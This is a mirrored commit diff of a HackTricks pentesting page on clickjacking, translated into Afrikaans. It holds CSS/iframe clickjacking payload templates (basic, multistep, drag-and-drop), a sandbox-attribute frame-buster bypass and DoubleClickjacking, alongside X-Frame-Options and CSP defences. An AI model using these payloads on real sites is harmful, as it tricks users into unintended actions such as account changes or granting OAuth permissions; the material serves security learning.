mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/clickjacking.md'] to af
This commit is contained in:
parent
305ce8b49a
commit
405d010bbc
@ -4,18 +4,18 @@
|
||||
|
||||
## Wat is Clickjacking
|
||||
|
||||
In 'n clickjacking-aanval word 'n **gebruiker** **mislei** om op 'n **element** op 'n webblad te **klik** wat of **on sigbaar** is of as 'n ander element vermom is. Hierdie manipulasie kan lei tot onbedoelde gevolge vir die gebruiker, soos die aflaai van malware, herleiding na kwaadwillige webbladsye, verskaffing van akrediteer of sensitiewe inligting, geldtransfers, of die aanlyn aankoop van produkte.
|
||||
In 'n clickjacking-aanval word 'n **gebruiker** **mislei** om op 'n **element** op 'n webblad te **klik** wat ofwel **on sigbaar** is of as 'n ander element vermom is. Hierdie manipulasie kan lei tot onbedoelde gevolge vir die gebruiker, soos die aflaai van malware, herleiding na kwaadwillige webbladsye, verskaffing van akredensiale of sensitiewe inligting, geldtransfers, of die aanlyn aankoop van produkte.
|
||||
|
||||
### Prepopulate forms trick
|
||||
|
||||
Soms is dit moontlik om die **waarde van velde van 'n vorm te vul met GET parameters wanneer 'n bladsy gelaai word**. 'n Aanvaller kan hierdie gedrag misbruik om 'n vorm met arbitrêre data te vul en die clickjacking payload te stuur sodat die gebruiker die knoppie Indien druk.
|
||||
|
||||
### Populate form with Drag\&Drop
|
||||
### Vul vorm met Drag\&Drop
|
||||
|
||||
As jy wil hê dat die gebruiker 'n **vorm** moet **invul** maar jy wil nie direk vra dat hy spesifieke inligting (soos die e-pos en of spesifieke wagwoord wat jy ken) moet skryf nie, kan jy hom net vra om iets te **Drag\&Drop** wat jou beheerde data sal skryf soos in [**hierdie voorbeeld**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/).
|
||||
As jy die gebruiker nodig het om 'n **vorm** te **vul** maar jy wil nie direk vra dat hy spesifieke inligting (soos die e-pos en of spesifieke wagwoord wat jy ken) skryf nie, kan jy hom net vra om iets te **Drag\&Drop** wat jou beheerde data sal skryf soos in [**hierdie voorbeeld**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/).
|
||||
|
||||
### Basic Payload
|
||||
```markup
|
||||
### Basiese Payload
|
||||
```css
|
||||
<style>
|
||||
iframe {
|
||||
position:relative;
|
||||
@ -34,8 +34,8 @@ z-index: 1;
|
||||
<div>Click me</div>
|
||||
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>
|
||||
```
|
||||
### Multistep Payload
|
||||
```markup
|
||||
### Meervoudige Laaiers
|
||||
```css
|
||||
<style>
|
||||
iframe {
|
||||
position:relative;
|
||||
@ -58,8 +58,8 @@ left:210px;
|
||||
<div class="secondClick">Click me next</div>
|
||||
<iframe src="https://vulnerable.net/account"></iframe>
|
||||
```
|
||||
### Sleep\&Sleep + Klik lasbrief
|
||||
```markup
|
||||
### Sleep\&Sleep + Klik payload
|
||||
```css
|
||||
<html>
|
||||
<head>
|
||||
<style>
|
||||
@ -94,9 +94,18 @@ Voorbeeld:\
|
||||
Jy het 'n **self XSS** in sommige privaat besonderhede van die rekening gevind (besonderhede wat **slegs jy kan stel en lees**). Die bladsy met die **vorm** om hierdie besonderhede in te stel is **kwulnerabel** vir **Clickjacking** en jy kan die **vorm** met die GET parameters **vooraf vul**.\
|
||||
'n Aanvaller kan 'n **Clickjacking** aanval voorberei op daardie bladsy deur die **vorm** met die **XSS payload** te **vooraf vul** en die **gebruiker** te **mislei** om die vorm te **indien**. So, **wanneer die vorm ingedien word** en die waardes gewysig word, sal die **gebruiker die XSS uitvoer**.
|
||||
|
||||
## Strategieë om Clickjacking te Verminder
|
||||
### DoubleClickjacking
|
||||
|
||||
### Klient-Kant Verdedigings
|
||||
Eerstens [verduidelik in hierdie pos](https://securityaffairs.com/172572/hacking/doubleclickjacking-clickjacking-on-major-websites.html), hierdie tegniek sou die slagoffer vra om dubbel op 'n knoppie van 'n pasgemaakte bladsy te klik wat op 'n spesifieke plek geplaas is, en die tydsverskille tussen mousedown en onclick gebeurtenisse te gebruik om die slagofferbladsy te laai tydens die dubbelklik sodat die **slagoffer werklik op 'n regte knoppie in die slagofferbladsy klik**.
|
||||
|
||||
'n Voorbeeld kan in hierdie video gesien word: [https://www.youtube.com/watch?v=4rGvRRMrD18](https://www.youtube.com/watch?v=4rGvRRMrD18)
|
||||
|
||||
> [!WARNING]
|
||||
> Hierdie tegniek laat toe om die gebruiker te mislei om op 1 plek in die slagofferbladsy te klik en elke beskerming teen clickjacking te omseil. So die aanvaller moet **sensitiewe aksies vind wat met net 1 klik gedoen kan word, soos OAuth prompts wat toestemmings aanvaar**.
|
||||
|
||||
## Strategies to Mitigate Clickjacking
|
||||
|
||||
### Client-Side Defenses
|
||||
|
||||
Scripts wat aan die kliëntkant uitgevoer word, kan aksies uitvoer om Clickjacking te voorkom:
|
||||
|
||||
@ -105,17 +114,17 @@ Scripts wat aan die kliëntkant uitgevoer word, kan aksies uitvoer om Clickjacki
|
||||
- Voorkom kliks op onsigbare rame.
|
||||
- Detecteer en waarsku gebruikers oor potensiële Clickjacking pogings.
|
||||
|
||||
Egter, hierdie raam-busting scripts kan omseil word:
|
||||
Egter, hierdie frame-busting scripts kan omseil word:
|
||||
|
||||
- **Browers se Sekuriteitsinstellings:** Sommige browers mag hierdie scripts blokkeer gebaseer op hul sekuriteitsinstellings of gebrek aan JavaScript-ondersteuning.
|
||||
- **HTML5 iframe `sandbox` Attribuut:** 'n Aanvaller kan raam buster scripts neutraliseer deur die `sandbox` attribuut met `allow-forms` of `allow-scripts` waardes te stel sonder `allow-top-navigation`. Dit voorkom dat die iframe verifieer of dit die boonste venster is, bv.,
|
||||
- **Browers se Sekuriteitsinstellings:** Sommige blaaiers mag hierdie scripts blokkeer gebaseer op hul sekuriteitsinstellings of gebrek aan JavaScript-ondersteuning.
|
||||
- **HTML5 iframe `sandbox` Attribuut:** 'n Aanvaller kan frame buster scripts neutraliseer deur die `sandbox` attribuut met `allow-forms` of `allow-scripts` waardes te stel sonder `allow-top-navigation`. Dit voorkom dat die iframe verifieer of dit die boonste venster is, bv.,
|
||||
```html
|
||||
<iframe
|
||||
id="victim_website"
|
||||
src="https://victim-website.com"
|
||||
sandbox="allow-forms allow-scripts"></iframe>
|
||||
```
|
||||
Die `allow-forms` en `allow-scripts` waardes stel aksies binne die iframe in terwyl top-niveau navigasie gedeaktiveer word. Om die beoogde funksionaliteit van die geteikende webwerf te verseker, mag addisionele toestemmings soos `allow-same-origin` en `allow-modals` nodig wees, afhangende van die tipe aanval. Bladsy-konsolboodskappe kan lei oor watter toestemmings toegelaat moet word.
|
||||
Die `allow-forms` en `allow-scripts` waardes stel aksies binne die iframe in terwyl top-niveau navigasie gedeaktiveer word. Om die beoogde funksionaliteit van die geteikende webwerf te verseker, mag addisionele toestemmings soos `allow-same-origin` en `allow-modals` nodig wees, afhangende van die tipe aanval. Bladsy-konsolboodskappe kan lei oor watter toestemmings toegestaan moet word.
|
||||
|
||||
### Bediener-kant Verdedigings
|
||||
|
||||
@ -123,12 +132,12 @@ Die `allow-forms` en `allow-scripts` waardes stel aksies binne die iframe in ter
|
||||
|
||||
Die **`X-Frame-Options` HTTP antwoordkop** informeer blaaiers oor die wettigheid van die weergawe van 'n bladsy in 'n `<frame>` of `<iframe>`, wat help om Clickjacking te voorkom:
|
||||
|
||||
- `X-Frame-Options: deny` - Geen domein kan die inhoud in 'n raam plaas nie.
|
||||
- `X-Frame-Options: sameorigin` - Slegs die huidige webwerf kan die inhoud in 'n raam plaas.
|
||||
- `X-Frame-Options: allow-from https://trusted.com` - Slegs die gespesifiseerde 'uri' kan die bladsy in 'n raam plaas.
|
||||
- `X-Frame-Options: deny` - Geen domein kan die inhoud raam.
|
||||
- `X-Frame-Options: sameorigin` - Slegs die huidige webwerf kan die inhoud raam.
|
||||
- `X-Frame-Options: allow-from https://trusted.com` - Slegs die gespesifiseerde 'uri' kan die bladsy raam.
|
||||
- Let op die beperkings: as die blaier hierdie riglyn nie ondersteun nie, mag dit nie werk nie. Sommige blaaiers verkies die CSP frame-ancestors riglyn.
|
||||
|
||||
#### Content Security Policy (CSP) frame-ancestors riglyn
|
||||
#### Inhoudsekuriteitsbeleid (CSP) frame-ancestors riglyn
|
||||
|
||||
**`frame-ancestors` riglyn in CSP** is die aanbevole metode vir Clickjacking beskerming:
|
||||
|
||||
@ -136,15 +145,15 @@ Die **`X-Frame-Options` HTTP antwoordkop** informeer blaaiers oor die wettigheid
|
||||
- `frame-ancestors 'self'` - Soortgelyk aan `X-Frame-Options: sameorigin`.
|
||||
- `frame-ancestors trusted.com` - Soortgelyk aan `X-Frame-Options: allow-from`.
|
||||
|
||||
Byvoorbeeld, die volgende CSP laat slegs framing van dieselfde domein toe:
|
||||
Byvoorbeeld, die volgende CSP laat slegs raamwerk toe vanaf dieselfde domein:
|
||||
|
||||
`Content-Security-Policy: frame-ancestors 'self';`
|
||||
|
||||
Verder besonderhede en komplekse voorbeelde kan gevind word in die [frame-ancestors CSP dokumentasie](https://w3c.github.io/webappsec-csp/document/#directive-frame-ancestors) en [Mozilla se CSP frame-ancestors dokumentasie](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors).
|
||||
|
||||
### Content Security Policy (CSP) met `child-src` en `frame-src`
|
||||
### Inhoudsekuriteitsbeleid (CSP) met `child-src` en `frame-src`
|
||||
|
||||
**Content Security Policy (CSP)** is 'n sekuriteitsmaatreël wat help om Clickjacking en ander kode-inspuitaanvalle te voorkom deur te spesifiseer watter bronne die blaier moet toelaat om inhoud te laai.
|
||||
**Inhoudsekuriteitsbeleid (CSP)** is 'n sekuriteitsmaatreël wat help om Clickjacking en ander kode-inspuitaanvalle te voorkom deur te spesifiseer watter bronne die blaier mag toelaat om inhoud te laai.
|
||||
|
||||
#### `frame-src` Riglyn
|
||||
|
||||
@ -166,7 +175,7 @@ Hierdie beleid laat rame en werkers van dieselfde oorsprong (self) en https://tr
|
||||
|
||||
**Gebruiknotas:**
|
||||
|
||||
- Aftrekking: child-src word geleidelik verwyder ten gunste van frame-src en worker-src.
|
||||
- Aftrekking: child-src word geleidelik uitgefaseer ten gunste van frame-src en worker-src.
|
||||
- Terugvalgedrag: As frame-src afwesig is, word child-src as 'n terugval vir rame gebruik. As albei afwesig is, word default-src gebruik.
|
||||
- Streng Bron Definisie: Sluit slegs vertroude bronne in die riglyne in om uitbuiting te voorkom.
|
||||
|
||||
|
Loading…
x
Reference in New Issue
Block a user